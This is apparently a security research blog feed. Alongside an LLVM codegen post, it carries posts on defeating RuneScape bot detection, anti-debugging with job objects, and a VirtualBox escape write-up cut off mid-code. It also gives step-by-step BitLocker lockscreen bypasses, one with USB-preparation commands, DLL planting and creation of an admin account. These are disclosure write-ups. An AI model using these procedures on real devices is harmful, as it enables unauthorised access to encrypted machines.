The LLVM project is a modular set of tools that make designing and implementing a compiler significantly easier. The most well known part of LLVM is their intermediate representation; IR for short. LLVM’s IR is an extremely powerful tool, designed to make optimization and targeting many architectures as easy as possible. Many tools use LLVM IR; the Clang C++ compiler and the Rust compiler (rustc) are both notable examples. However, despite this unified architecture, code generation can still vary wildly between implementations and how the IR is used. Some time ago, I stumbled upon this tweet discussing Rust’s implementation of clamping compared to C++:

Rust 1.50 is out and has f32.clamp. I had extremely low expectations for performance based on C++ experience but as usual Rust proves to be "C++ done right".

Of course Zig already has clamp and also gets codegen right. pic.twitter.com/0WI1fLrQaB

— Arseny Kapoulkine (@zeuxcg) February 11, 2021

Rust’s code generation on the latest version of LLVM is far superior compared to an equivalent Clang version using std::clamp, even though they use the same underlying IR:

With f32.clamp:

pub fn clamp(v: f32) -> f32 {
    v.clamp(-1.0, 1.0)
}

The corresponding assembly is shown below. It is short, concise, and pretty much the best you’re going to get. We can see two memory accesses to get the clamp bounds and efficient use of x86 instructions.

.LCPI0_0:
        .long   0xbf800000
.LCPI0_1:
        .long   0x3f800000
example::clamp:
        movss   xmm1, dword ptr [rip + .LCPI0_0]
        maxss   xmm1, xmm0
        movss   xmm0, dword ptr [rip + .LCPI0_1]
        minss   xmm0, xmm1
        ret

Next is a short C++ program using std::clamp:

#include <algorithm>
float clamp2(float v) {
    return std::clamp(v, -1.f, 1.f);
}

The corresponding assembly is shown below. It is significantly longer with many more data accesses, conditional moves, and is in general uglier.

.LCPI1_0:
        .long   0x3f800000                         float 1
.LCPI1_1:
        .long   0xbf800000                         float -1
clamp2(float):                                     @clamp2(float)
        movss   dword ptr [rsp - 4], xmm0
        mov     dword ptr [rsp - 8], -1082130432  
        mov     dword ptr [rsp - 12], 1065353216  
        ucomiss xmm0, dword ptr [rip + .LCPI1_0]  
        lea     rax, [rsp - 12]
        lea     rcx, [rsp - 4]
        cmova   rcx, rax
        movss   xmm1, dword ptr [rip + .LCPI1_1]  # xmm1 = mem[0],zero,zero,zero
        ucomiss xmm1, xmm0
        lea     rax, [rsp - 8]
        cmovbe  rax, rcx
        movss   xmm0, dword ptr [rax]             # xmm0 = mem[0],zero,zero,zero
        ret

Interestingly enough, reimplementing std::clamp causes this issue to disappear:

float clamp(float v, float lo, float hi) {
    v = (v < lo) ? lo : v;
    v = (v > hi) ? hi : v;
    return v;
}

float clamp1(float v) {
    return clamp(v, -1.f, 1.f);
}

The assembly generated here is the same as with Rust’s implementation:

.LCPI0_0:
        .long   0xbf800000                        # float -1
.LCPI0_1:  
        .long   0x3f800000                        # float 1
clamp1(float):                                    # @clamp1(float)
        movss   xmm1, dword ptr [rip + .LCPI0_0]  # xmm1 = mem[0],zero,zero,zero
        maxss   xmm1, xmm0 
        movss   xmm0, dword ptr [rip + .LCPI0_1]  # xmm0 = mem[0],zero,zero,zero
        minss   xmm0, xmm1
        ret

Clearly, something is off between std::clamp and our implementation. According to the C++ reference, std::clamp takes two references along with a predicate (which defaults to std::less) and returns a reference. Functionally, the only difference between our code and std::clamp is that we do not use reference types. Knowing this, we can then reproduce the issue.

const float& bad_clamp(const float& v, const float& lo, const float& hi) {
    return (v < lo) ? lo : (v > hi) ? hi : v;
}

float clamp2(float v) {
    return bad_clamp(v, -1.f, 1.f);
}

Once again, we’ve generated the same bad code as with std::clamp:

.LCPI1_0:
        .long   0x3f800000                        # float 1
.LCPI1_1: 
        .long   0xbf800000                        # float -1
clamp2(float):                                    # @clamp2(float)
        movss   dword ptr [rsp - 4], xmm0 
        mov     dword ptr [rsp - 8], -1082130432 
        mov     dword ptr [rsp - 12], 1065353216 
        ucomiss xmm0, dword ptr [rip + .LCPI1_0] 
        lea     rax, [rsp - 12] 
        lea     rcx, [rsp - 4] 
        cmova   rcx, rax 
        movss   xmm1, dword ptr [rip + .LCPI1_1]  # xmm1 = mem[0],zero,zero,zero
        ucomiss xmm1, xmm0 
        lea     rax, [rsp - 8] 
        cmovbe  rax, rcx 
        movss   xmm0, dword ptr [rax]             # xmm0 = mem[0],zero,zero,zero
        ret

LLVM IR and Clang

LLVM IR is a Static Single Assignment (SSA) intermediate representation. What this means is that every variable is only assigned to once. In order to represent conditional assignments, SSA form uses a special type of instruction called a “phi” node, which picks a value based on the block that was previously running. However, Clang does not initially use phi nodes. Instead, to make initial code generation easier, variables in functions are allocated on the stack using alloca instructions. Reads and assignments to the variable are load and store instructions to the alloca, respectively:

int main() {
    float x = 0;
}

In this unoptimized IR, we can see an alloca instruction that then has the float value 0 stored to it:

define dso_local i32 @main() #0 {
  %1 = alloca float, align 4
  store float 0.000000e+00, float* %1, align 4
  ret i32 0
}

LLVM will then (hopefully) optimize away the alloca instructions with a relevant pass, like SROA.

LLVM IR and reference types

Reference types are represented as pointers in LLVM IR:

void test(float& x2) {
    x2 = 1;
}

In this optimized IR, we can see that the reference has been converted to a pointer with specific attributes.

define dso_local void @_Z4testRf(float* nocapture nonnull align 4 dereferenceable(4) %0) local_unnamed_addr #0 {
  store float 1.000000e+00, float* %0, align 4, !tbaa !2
  ret void
}

When a function is given a reference type as an argument, it is passed the underlying object’s address instead of the object itself. Also passed is some metadata about reference types. For example, nonnull and dereferenceable are set as attributes to the argument because the C++ standard dictates that references always have to be bound to a valid object. For us, this means the alloca instructions are passed directly to the clamp function:

__attribute__((noinline)) const float& bad_clamp(const float& v, const float& lo, const float& hi) {
    return (v < lo) ? lo : (v > hi) ? hi : v;
}

float clamp2(float v) {
    return bad_clamp(v, -1.f, 1.f);
}

In this optimized IR, we can see alloca instructions passed to bad_clamp corresponding to the variables passed as references.

define linkonce_odr dso_local nonnull align 4 dereferenceable(4) float* @_Z9bad_clampRKfS0_S0_(float* nonnull align 4 dereferenceable(4) %0, float* nonnull align 4 dereferenceable(4) %1, float* nonnull align 4 dereferenceable(4) %2) local_unnamed_addr #2 comdat {
  %4 = load float, float* %0, align 4
  %5 = load float, float* %1, align 4
  %6 = fcmp olt float %4, %5
  %7 = load float, float* %2, align 4
  %8 = fcmp ogt float %4, %7
  %9 = select i1 %8, float* %2, float* %0
  %10 = select i1 %6, float* %1, float* %9
  ret float* %10
}

define dso_local float @_Z6clamp2f(float %0) local_unnamed_addr #1 {
  %2 = alloca float, align 4
  %3 = alloca float, align 4
  %4 = alloca float, align 4
  store float %0, float* %2, align 4
  store float -1.000000e+00, float* %3, align 4
  store float 1.000000e+00, float* %4, align 4                                                                                                                                         
  %6 = call nonnull align 4 dereferenceable(4) float* @_Z9bad_clampRKfS0_S0_(float* nonnull align 4 dereferenceable(4) %2, float* nonnull align 4 dereferenceable(4) %3, float* nonnull align 4 dereferenceable(4) %4)
  %7 = load float, float* %7, align 4
  ret float %7
}

Lifetime annotations are omitted to make the IR a bit clearer.

In this example, the noinline attribute was used to demonstrate passing references to functions. If we remove the attribute, the call is inlined into the function:

const float& bad_clamp(const float& v, const float& lo, const float& hi) {
    return (v < lo) ? lo : (v > hi) ? hi : v;
}
float clamp2(float v) {
    return bad_clamp(v, -1.f, 1.f);
}

However, even after optimization, the alloca instructions are still there for seemingly no good reason. These alloca instructions should have been optimized away by LLVM’s passes; they’re not used anywhere else and there are no tricky stores or lifetime problems.

define dso_local float @_Z6clamp2f(float %0) local_unnamed_addr #0 {
  %2 = alloca float, align 4
  %3 = alloca float, align 4
  %4 = alloca float, align 4
  store float %0, float* %2, align 4, !tbaa !2
  store float -1.000000e+00, float* %3, align 4, !tbaa !2
  store float 1.000000e+00, float* %4, align 4, !tbaa !2
  %5 = fcmp olt float %0, -1.000000e+00
  %6 = fcmp ogt float %0, 1.000000e+00
  %7 = select i1 %8, float* %4, float* %2
  %9 = select i1 %7, float* %3, float* %9
  %9 = load float, float* %10, align 4, !tbaa !2
  ret float %9
}

The only candidate here is the two sequential select instructions, as they operate on the pointers created by the alloca instructions instead of the underlying value. However, LLVM also has a pass for this; if possible, LLVM will try to “speculate” across select instructions that load their results.

select instructions are essentially ternary operators that pick one of the last two operands (float pointers in our case) based on the value of the first operand.

Select speculation - where things go wrong

A few calls down the chain, this function calls isDereferenceableAndAlignedPointer, which is what determines whether a pointer can be dereferenced. The code here exposes the main issue: the select instruction is never considered ‘dereferenceable’. As such, when there are two selects in sequence (as seen with our std::clamp), it will not try to speculate the select instruction and will not remove the alloca.

Fix 1: libcxx

A potential fix is modifying the original code to not produce select instructions in the same way. For example, we can mimic our original implementation with pointers instead of value types. Though the IR output change is relatively small, this gives us the code generation we want without modifying the LLVM codebase:

const float& better_ref_clamp(const float& v, const float& lo, const float& hi) {
    const float *out;
    out = (v < lo) ? &lo : &v;
    out = (*out > hi) ? &hi : out;
    return *out;
}

float clamp3(float v) {
    return better_ref_clamp(v, -1.f, 1.f);
}

As you can see, the IR generated after the call is inlined is significantly shorter and more efficient than before:

define dso_local float @_Z6clamp3f(float %0) local_unnamed_addr #1 {
  %2 = fcmp olt float %0, -1.000000e+00
  %3 = select i1 %2, float -1.000000e+00, float %0
  %4 = fcmp ogt float %3, 1.000000e+00
  %5 = select i1 %4, float 1.000000e+00, float %3
  ret float %5
}

And the corresponding assembly is back to what we want it to be:

.LCPI1_0:
        .long   0xbf800000                        # float -1
.LCPI1_1:
        .long   0x3f800000                        # float 1
clamp3(float):                                    # @clamp3(float)
        movss   xmm1, dword ptr [rip + .LCPI1_0]  # xmm1 = mem[0],zero,zero,zero
        maxss   xmm1, xmm0
        movss   xmm0, dword ptr [rip + .LCPI1_1]  # xmm0 = mem[0],zero,zero,zero
        minss   xmm0, xmm1
        ret

Fix 2: LLVM

A much more general approach is fixing the code generation issue in LLVM itself, which could be as simple as this:

diff --git a/llvm/lib/Analysis/Loads.cpp b/llvm/lib/Analysis/Loads.cpp
index d8f954f575838d9886fce0df2d40407b194e7580..affb55c7867f48866045534d383b4d7ba19773a3 100644
--- a/llvm/lib/Analysis/Loads.cpp
+++ b/llvm/lib/Analysis/Loads.cpp
@@ -103,6 +103,14 @@ static bool isDereferenceableAndAlignedPointer(
         CtxI, DT, TLI, Visited, MaxDepth);
   }
 
+  // For select instructions, both operands need to be dereferenceable.
+  if (const SelectInst *SelInst = dyn_cast<SelectInst>(V))
+    return isDereferenceableAndAlignedPointer(SelInst->getOperand(1), Alignment,
+                                              Size, DL, CtxI, DT, TLI,
+                                              Visited, MaxDepth) &&
+           isDereferenceableAndAlignedPointer(SelInst->getOperand(2), Alignment,
+                                              Size, DL, CtxI, DT, TLI,
+                                              Visited, MaxDepth);
   // For gc.relocate, look through relocations
   if (const GCRelocateInst *RelocateInst = dyn_cast<GCRelocateInst>(V))
     return isDereferenceableAndAlignedPointer(RelocateInst->getDerivedPtr(),

All it does is add select instructions to the list of instruction types to consider potentially dereferenceable. Though it seems to fix the issue (and alive2 seems to like it), this is otherwise untested. Also, the codegen still isn’t perfect. Though the redundant memory accesses are removed, there are still many more instructions than in our libcxx fix (and Rust’s implementation):

.LCPI0_0:
        .long   0x3f800000                        # float 1
.LCPI0_1: 
        .long   0xbf800000                        # float -1
clamp2(float):                                    # @clamp2(float)
        movss   xmm1, dword ptr [rip + .LCPI0_0]  # xmm1 = mem[0],zero,zero,zero
        minss   xmm1, xmm0 
        movss   xmm2, dword ptr [rip + .LCPI0_1]  # xmm2 = mem[0],zero,zero,zero
        cmpltss xmm0, xmm2
        movaps  xmm3, xmm0
        andnps  xmm3, xmm1
        andps   xmm0, xmm2
        orps    xmm0, xmm3
        ret

However, this is because of the ternary operators done in the original libcxx clamp:

template<class _Tp, class _Compare>
const _Tp& clamp(const _Tp& __v, const _Tp& __lo, const _Tp& __hi, _Compare __comp)
{
    _LIBCPP_ASSERT(!__comp(__hi, __lo), "Bad bounds passed to std::clamp");
    return __comp(__v, __lo) ? __lo : __comp(__hi, __v) ? __hi : __v;

}

The reason this doesn’t look as good is because LLVM needs to store the original value of __v for the second comparison. Due to this, it then can’t optimize the second part of this computation into a maxss as that would produce different behavior when __lo is greater than __hi and __v is negative.

const float& ref_clamp(const float& v, const float& lo, const float& hi) {
    return (v < lo) ? lo : (v > hi) ? hi : v;
}

const float& better_ref_clamp(const float& v, const float& lo, const float& hi) {
    const float *out;
    out = (v < lo) ? &lo : &v;
    out = (*out > hi) ? &hi : out;
    return *out;
}

int main() {
    printf("%f\n", ref_clamp(-2.f, 1.f, -1.f));        // this prints 1.000
    printf("%f\n", better_ref_clamp(-2.f, 1.f, -1.f)); // this prints -1.000
}

Even though we know this is undefined behavior in C++, LLVM doesn’t have enough information to know that. Adjusting code generation accordingly would be no easy task either. Despite all of this though, it does show how versatile LLVM truly is; relatively simple changes can have significant results.

How Runescape catches botters, and why they didn’t catch me

By: vmcall
3 April 2021 at 23:00

Player automation has always been a big concern in MMORPGs such as World of Warcraft and Runescape, and this kind of game-hacking is very different from traditional cheats in for example shooter games.

One weekend, I decided to take a look at the detection systems put in place by Jagex to prevent player automation in Runescape.

Botting

For the past months, an account named sch0u has been playing on world 67 around the clock doing mundane tasks such as killing mobs or harvesting resources. At first glance, this account looks just like any other player, but there is one key difference: it’s a bot.

I started this bot back in October with the goal of testing the limits of their bot detection system. I tried to find information online on how Jagex combats these botters, and only found videos of commercial bots bragging about how their mouse movement systems are indistinguishable from humans.

Therefore, the only thing I could deduce was that mouse movement matters, or does it?

Heuristics!

I started by analyzing the Runescape client to confirm this theory, and quickly noticed a global called hhk set shortly launch.

const auto module_handle = GetModuleHandleA(0);
hhk = SetWindowsHookExA(WH_MOUSE_LL, rs::mouse_hook_handler, module_handle, 0);

This installs a low level hook on the mouse by appending to the system-wide hook chain. This allows applications on Windows to intercept all mouse events, whether or not the events are related to your application. Low level hooks are frequently used by keyloggers, but have legitimate use cases such as heuristics like the aforementioned mouse hook.

The Runescape mouse handler is quite simple in its essence (the following pseudocode has been beautified by hand):

LRESULT __fastcall rs::mouse_hook_handler(int code, WPARAM wParam, LPARAM lParam)
{
  if ( rs::client::singleton )
  {
      // Call the internal logging handler
      rs::mouse_hook_handler_internal(rs::client::singleton->window_ctx, wParam, lParam);
  }
  // Pass the information to the next hook on the system
  return CallNextHookEx(hhk, code, wParam, lParam);
}
void __fastcall rs::mouse_hook_handler_internal(rs::window_ctx *window_ctx, __int64 wparam, _DWORD *lparam)
{
  // If the mouse event happens outside of the Runescape window, don't log it.
  if (!window_ctx->event_inside_of_window(lparam))
  {
    return;
  }

  switch (wparam)
  {
    case WM_MOUSEMOVE:
      rs::heuristics::log_movement(lparam);
      break;
    
    case WM_LBUTTONDOWN:
    case WM_LBUTTONDBLCLK:
    case WM_RBUTTONDOWN:
    case WM_RBUTTONDBLCLK:
    case WM_MBUTTONDOWN:
    case WM_MBUTTONDBLCLK:
      rs::heuristics::log_button(lparam);
      break;
  }
}

for bandwidth reasons, these rs::heuristics::log_* functions use simple algorithms to skip event data that resembles previous logged events.

This event data is later parsed by the function rs::heuristics::process, which is called every frame by the main render loop.


void __fastcall rs::heuristics::process(rs::heuristic_engine *heuristic_engine)
{
  // Don't process any data if the player is not in a world
  auto client = heuristic_engine->client;
  if (client->state != STATE_IN_GAME)
  {
    return;
  }

  // Make sure the connection object is properly initialised
  auto connection = client->network->connection;
  if (!connection || connection->server->mode != SERVER_INITIALISED)
  {
    return;
  }

  // The following functions parse and pack the event data, and is later sent
  // by a different component related to networking that has a queue system for
  // packets.

  // Process data gathered by internal handlers
  rs::heuristics::process_source(&heuristic_engine->event_client_source);

  // Process data gathered by the low level mouse hook
  rs::heuristics::process_source(&heuristic_engine->event_hook_source);
}

Away from keyboard?

While reversing, I put effort into knowing the relevance of the function I am looking at, primarily by hooking or patching the function in question. You can usually deduce the relevance of a function by rendering it useless and observing the state of the software, and this methodology lead to an interesting observation.

By preventing the game from calling the function rs::heuristics::process, I didn’t immediately notice anything, but after exactly five minutes, I was logged out of the game. Apparently, Runescape decides if a player is inactive by solely looking at the heuristic data sent to the server by the client, even though you can play the game just fine. This raised a new question: If the server doesn’t think I am playing, does it think I am botting?.

This lead to spending a few days reverse engineering the networking layer of the game, which resulted in my ability to bot almost anything using only network packets.

To prove my theory, I botted twenty four hours a day, seven days a week, without ever moving my mouse. After doing this for thousands of hours, I can safely state that their bot detection either relies on the heuristic event data sent by the client, or is only run when the player is not “afk”. Any player that manages to play without moving their mouse should be banned immediately, thus making this oversight worth revisiting.

BitLocker touch-device lockscreen bypass

29 January 2021 at 23:00

Microsoft has for the past years done a great job at hardening the Windows lockscreen, but after Jonas published CVE-2020-1398, I put effort into weaponizing an old bug I had found in Windows Touch devices.

These exploits rely on the fundamental design of the Windows Lockscreen, where the instance that prompts the user for password runs with SYSTEM privileges. This means that even though most of the UI is blocked, you can always find a way to do some damage when there are options like “Reset password”

Clicking this button will result in a new user being created with the name of defaultuser1, defaultuser100000, defaultuser100001 (et cetera), and a new instance of WWAHost asking for user account credentials will be spawned. If everything is in order, it will ask you for a new pin, otherwise you will be stuck in this instance.

Bypassing BitLocker in 5 easy steps

  • Connect a physical keyboard
  • Enable the narrator
  • Select “I have forgotten my password.” and “Text <phonenumber>”
  • Change the size of the on-screen keyboard and open keyboard settings
  • Interact with the hidden settings window to execute our payload

Constraints

To exploit this vulnerability, you will need:

  1. A surface touchscreen device. I used a surface book 2 15’ (Running up-to-date Windows 10 20H2 with BitLocker enabled)
  2. A external keyboard
  3. A flash drive containing your payload.

Keyboard confusion

By connecting a external keyboard to our Surface device, we have the capability using both the on-screen and the physical keyboard. This is necessary to abuse certain functionality that allows us to bypass the lockscreen.

Narration

Windows includes various accessibility features such as narration. This functionality allows us to operate on hidden UI elements, as the narrator will read any selected element out loud, visible or not. Turn it on by clicking Windows+U and selecting “Enable narrator”

I forgot my password

A Forgotten password is one of the few cases you would ever do anything but login on the Windows lockscreen. The first part of our bypass requires you to select “I have forgotten my password.” on the login screen. This will open up a Microsoft Account login form, where you can choose to recover your password by texting a certain phone number. Selecting this opens up a text bar where you would normally type in the full recovery phone number, but in our case that is not the point. By opening this text bar, we can make the touch device display an on screen keyboard, which was the goal all along. With this software keyboard, you can change the size of the keyboard by hitting the options button in the top left, choose the largest keyboard available.

Now you should have a large software keyboard where you can open the settings menu:

After initialising the launch of keyboard settings, there is a small time frame where you can double click on this grey area here:

If you did this successfully, the narrator should explicitly say “Settings window”

Navigating settings

You wouldn’t think you could much with a hidden settings window on a locked Windows device, but you can actually navigate said window with a external keyboard. While holding down the Caps Lock key, the arrow keys and the tab key can be used to navigate UI elements.

One weaponization of this is going to Autoplay -> Removable drives -> Open folder to view files. This launches File Explorer, where you can execute windows binaries from a usb thumb-drive.

Disclosure

I reported the issue to MSRC, but they ignored the bug report citing a need of PoC, which I had already provided, they had also expressed disbelief towards the exploitability of this bug.

Demonstration

Process on a diet: anti-debug using job objects

By: jm
20 January 2021 at 23:00

In the second iteration of our anti-debug series for the new year, we will be taking a look at one of my favorite anti-debug techniques. In short, by setting a limit for process memory usage that is less or equal to current memory usage, we can prevent the creation of threads and modification of executable memory.

Job Object Basics

While job objects may seem like an obscure feature, the browser you are reading this article on is most likely using them (if you are a Windows user, of course). They have a ton of capabilities, including but not limited to:

  • Disabling access to user32 functionality.
  • Limiting resource usage like IO or network bandwidth and rate, memory commit and working set, and user-mode execution time.
  • Assigning a memory partition to all processes in the job.
  • Offering some isolation from the system by “upgrading” the job into a silo.

As far as API goes, it is pretty simple - creation does not really stand out from other object creation. The only other APIs you will really touch is NtAssignProcessToJobObject whose name is self-explanatory, and NtSetInformationJobObject through which you will set all the properties and capabilities.

NTSTATUS NtCreateJobObject(HANDLE*            JobHandle,
                           ACCESS_MASK        DesiredAccess,
                           OBJECT_ATTRIBUTES* ObjectAttributes);

NTSTATUS NtAssignProcessToJobObject(HANDLE JobHandle, HANDLE ProcessHandle);

NTSTATUS NtSetInformationJobObject(HANDLE JobHandle, JOBOBJECTINFOCLASS InfoClass,
                                   void*  Info,      ULONG              InfoLen);

The Method

With the introduction over, all one needs to create a job object, assign it to a process, and set the memory limit to something that will deny any attempt to allocate memory.

HANDLE job = nullptr;
NtCreateJobObject(&job, MAXIMUM_ALLOWED, nullptr);

NtAssignProcessToJobObject(job, NtCurrentProcess());

JOBOBJECT_EXTENDED_LIMIT_INFORMATION limits;
limits.ProcessMemoryLimit               = 0x1000;
limits.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_PROCESS_MEMORY;
NtSetInformationJobObject(job, JobObjectExtendedLimitInformation,
                          &limits, sizeof(limits));

That is it. Now while it is sufficient to use only syscalls and write code where you can count the number of dynamic allocations on your fingers, you might need to look into some of the affected functions to make a more realistic program compatible with this technique, so there is more work to be done in that regard.

The implications

So what does it do to debuggers and alike?

  • Visual Studio - unable to attach.
  • WinDbg
    • Waits 30 seconds before attaching.
    • cannot set breakpoints.
  • x64dbg
    • will not be able to attach (a few months old).
    • will terminate the process of placing a breakpoint (a week or so old).
    • will fail to place a breakpoint.

Please do note that the breakpoint protection only works for pages that are not considered private. So if you compile a small test program whose total size is less than a page and have entry breakpoints or count it into the private commit before reaching anti-debug code - it will have no effect.

Conclusion

Although this method requires you to be careful with your code, I personally love it due to its simplicity and power. If you cannot see yourself using this, do not worry! You can expect the upcoming article to contain something that does not require any changes to your code.

BitLocker Lockscreen bypass

By: Jonas L
15 January 2021 at 23:00

BitLocker is a modern data protection feature that is deeply integrated in the Windows kernel. It is used by many corporations as a means of protecting company secrets in case of theft. Microsoft recommends that you have a Trusted Platform Module which can do some of the heavy cryptographic lifting for you.

Bypassing BitLocker in 6 easy steps

Given a Windows 10 system without known passwords and a BitLocker-protected hard drive, an administrator account could be adding by doing the following:

  • At the sign-in screen, select “I have forgotten my password.”
  • Bypass the lock and enable autoplay of removable drives.
  • Insert a USB stick with my .exe and a junction folder.
  • Run executable.
  • Remove the thumb drive and put it back in again, go to the main screen.
  • From there launch narrator, that will execute a DLL payload planted earlier.

Now a user account is added called hax with password “hax” with membership in Administrators. To update the list with accounts to log into, click I forgot my password and then return to the main screen.

Bypassing the lock screen

First, we select the “I have forgotten my password/PIN” option. This option launches an additional session, with an account that gets created/deleted as needed; the user profile service calls it a default-account. It will have the first available name of defaultuser1, defaultuser100000, defaultuser100001, etc.

To escape the lock, we have to use the Narrator because if we manage to launch something, we cannot see it, but using the Narrator, we will be able to navigate it. However, how do we launch something?

If we smash shift 5 times in quick succession, a link to open the Settings app appears, and the link actually works. We cannot see the launched Settings app. Giving the launched app focus is slightly tricky; you have to click the link and then click a place where the launched app would be visible with the correct timing. The easiest way to learn to do it is, keep clicking the link roughly 2 times a second. The sticky keys windows will disappear. Keep clicking! You will now see a focus box is drawn in the middle of the screen. That was the Settings app, and you have to stop clicking when it gets focus.

Now we can navigate the Settings app using CapsLock + Left Arrow, press that until we reach Home. Now, when Home has focus, hold down Caps Lock and press Enter. Using CapsLock + Right Arrow navigate to Devices and CapsLock + Enter when it is in focus.

Now navigate to AutoPlay, CapsLock + Enter and choose “Open Folder to view files (File Explorer).” Now insert the prepared USB drive, wait some seconds, the Narrator will announce the drive has been opened, and the window is focused. Now select the file Exploit.exe and execute it with CapsLock + Enter. That is arbitrary code execution, ladies and gentlemen, without using any passwords. However, we are limited by running as the default profile.

I have made a video with my phone, as I cannot take screenshots.

Elevation of privilege

When a USB stick is mounted, BitLocker will create a directory named ClientRecoveryPasswordRotation in System Volume Information and set permissions to:

NT AUTHORITY\Authenticated Users:(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)

To redirect the create operation, a symbolic link in the NT namespace is needed as that allows us to control the filename, and the existence of the link does not abort the operation as it is still creating the directory.

Therefore, take a USB drive and make \System Volume Information a mount point targeting \RPC Control. Then make a symbolic link in \RPC Control\ClientRecoveryPasswordRotation targetting \??\C:\windows\system32\Narrator.exe.local. If the USB stick is reinserted then the folder C:\windows\system32\Narrator.exe.local will be created with permissions that allows us to create a subdirectory:

amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.657_none_e6c5b579130e3898

Inside this subdirectory, we drop a payload DLL named comctl32.dll. Next time the Narrator is triggered, it will load the DLL. By the way, I chose the Narrator as that is triggerable from the login screen as a system service and is not auto-loaded, so if anything goes wrong, we can still boot.

Combining them

The ClientRecoveryPasswordRotation exploit to work requires a symbolic link in \RPC Control. The executable on the USB drive creates the link using two calls to DefineDosDevice, making the link permanent so they can survive a logout/in if needed.

Then a loop is started in which the executable will:

  • Try to create the subdirectory.
  • Plant the payload comctl32.dll inside it.

It is easy to see when the loop is running because the Narrator will move its focus box and say “access denied” every second. We can now use the link created in RPC Control. Unplug the USB stick and reinsert it. The writeable directory will be created in System32; on the next loop iteration, the payload will get planted, and exploit.exe will exit. To test if the exploit has been successful, close the Narrator and try to start it again.

If the narrator does not work, it is because the DLL is planted, and Narrator executes it, but it fails to add an account because it is launched as defaultuser1. When the payload is planted, you will need to click back to the login screen and start Narrator; 3 beeps should play, and a message box saying the DLL has been loaded as SYSTEM should show. Great! The account has been created, but it is not in the list. Press “I forgot my password” and click back to update the list.

A new account named hax should appear, with password hax.

Making a malicious USB

I used these steps to arm the USB device

C:\Users\jonas>format D: /fs:ntfs /q
Insert new disk for drive D:
Press ENTER when ready...
-----
File System: NTFS.
Quick Formatting 30.0 GB
Volume label (32 characters, ENTER for none)?
Creating file system structures.
Format complete.
30.0 GB total disk space.
30.0 GB are available.

Now, we need to elevate to admin to delete System Volume Information.

C:\Users\jonas>d:
D:\>takeown /F "System Volume Information"

This results in

SUCCESS: The file (or folder): "D:\System Volume Information" now owned by user "DESKTOP-LTJEFST\jonas".

We can then

D:\>icacls "System Volume Information" /grant Everyone:(F)
Processed file: System Volume Information
Successfully processed 1 files; Failed processing 0 files
D:\>rmdir /s /q "System Volume Information"

We will use James Forshaw’s tool (attached) to create the mount point.

D:\>createmountpoint "System Volume Information" "\RPC Control"

Then copy the attached exploit.exe to it.

D:\>copy c:\Users\jonas\source\repos\exploitKit\x64\Release\exploit.exe .
1 file(s) copied.

Patch

I disclosed this vulnerability and it was assigned CVE-2020-1398. Its patch can be found here

Escaping VirtualBox 6.1: Part 1

14 January 2021 at 23:00

This post is about a VirtualBox escape for the latest currently available version (VirtualBox 6.1.16 on Windows). The vulnerabilities were discovered and exploited by our team Sauercl0ud as part of the RealWorld CTF 2020/2021.

The vulnerability was known to the organizers, requires the guest to be able to insert kernel modules and isn’t exploitable on default configurations of VirtualBox so the impact is very limited.

Many thanks to the organizers for hosting this great competition, especially to ChenNan for creating this challenge, M4x for always being helpful, answering our questions and sitting with us through the many demo attempts and of course all the people involved in writing the exploit.

Let’s get to some pwning :D

Discovering the Vulnerability

The challenge description already hints at where a bug might be:

Goal:

Please escape VirtualBox and spawn a calc(“C:\Windows\System32\calc.exe”) on the host operating system.

You have the full permissions of the guest operating system and can do anything in the guest, including loading drivers, etc.

But you can’t do anything in the host, including modifying the guest configuration file, etc.

Hint: SCSI controller is enabled and marked as bootable.

Environment:

In order to ensure a clean environment, we use virtual machine nesting to build the environment. The details are as follows:

  • VirtualBox:6.1.16-140961-Win_x64.
  • Host: Windows10_20H2_x64 Virtual machine in Vmware_16.1.0_x64.
  • Guest: Windows7_sp1_x64 Virtual machine in VirtualBox_6.1.16_x64.

The only special thing about the VM is that the SCSI driver is loaded and marked bootable so that’s the place for us to start looking for vulnerabilities.

Here are the operations the SCSI device supports:

// /src/VBox/Devices/Storage/DevBusLogic.cpp
    
    // [...]

    if (fBootable)
    {
        /* Register I/O port space for BIOS access. */
        rc = PDMDevHlpIoPortCreateExAndMap(pDevIns, BUSLOGIC_BIOS_IO_PORT, 4 /*cPorts*/, 0 /*fFlags*/,
                                           buslogicR3BiosIoPortWrite,       // Write a byte
                                           buslogicR3BiosIoPortRead,        // Read a byte
                                           buslogicR3BiosIoPortWriteStr,    // Write a string
                                           buslogicR3BiosIoPortReadStr,     // Read a string
                                           NULL /*pvUser*/,
                                           "BusLogic BIOS" , NULL /*paExtDesc*/, &pThis->hIoPortsBios);
        // [...]
    }
    // [...]

The SCSI device implements a simple state machine with a global heap allocated buffer. When initiating the state machine, we can set the buffer size and the state machine will set a global buffer pointer to point to the start of said buffer. From there on, we can either read one or more bytes, or write one or more bytes. Every read/write operation will advance the buffer pointer. This means that after reading a byte from the buffer, we can’t write that same byte and vice versa, because the buffer pointer has already been advanced.

While auditing the vboxscsiReadString function, tsuro and spq found something interesting:

// src/VBox/Devices/Storage/VBoxSCSI.cpp

/**
 * @retval VINF_SUCCESS
 */
int vboxscsiReadString(PPDMDEVINS pDevIns, PVBOXSCSI pVBoxSCSI, uint8_t iRegister,
                       uint8_t *pbDst, uint32_t *pcTransfers, unsigned cb)
{
    RT_NOREF(pDevIns);
    LogFlowFunc(("pDevIns=%#p pVBoxSCSI=%#p iRegister=%d cTransfers=%u cb=%u\n",
                 pDevIns, pVBoxSCSI, iRegister, *pcTransfers, cb));

    /*
     * Check preconditions, fall back to non-string I/O handler.
     */
    Assert(*pcTransfers > 0);

    /* Read string only valid for data in register. */
    AssertMsgReturn(iRegister == 1, ("Hey! Only register 1 can be read from with string!\n"), VINF_SUCCESS);

    /* Accesses without a valid buffer will be ignored. */
    AssertReturn(pVBoxSCSI->pbBuf, VINF_SUCCESS);

    /* Check state. */
    AssertReturn(pVBoxSCSI->enmState == VBOXSCSISTATE_COMMAND_READY, VINF_SUCCESS);
    Assert(!pVBoxSCSI->fBusy);

    RTCritSectEnter(&pVBoxSCSI->CritSect);
    /*
     * Also ignore attempts to read more data than is available.
     */
    uint32_t cbTransfer = *pcTransfers * cb;
    if (pVBoxSCSI->cbBufLeft > 0)
    {
        Assert(cbTransfer <= pVBoxSCSI->cbBuf);     // --- [1] ---
        if (cbTransfer > pVBoxSCSI->cbBuf)
        {
            memset(pbDst + pVBoxSCSI->cbBuf, 0xff, cbTransfer - pVBoxSCSI->cbBuf);
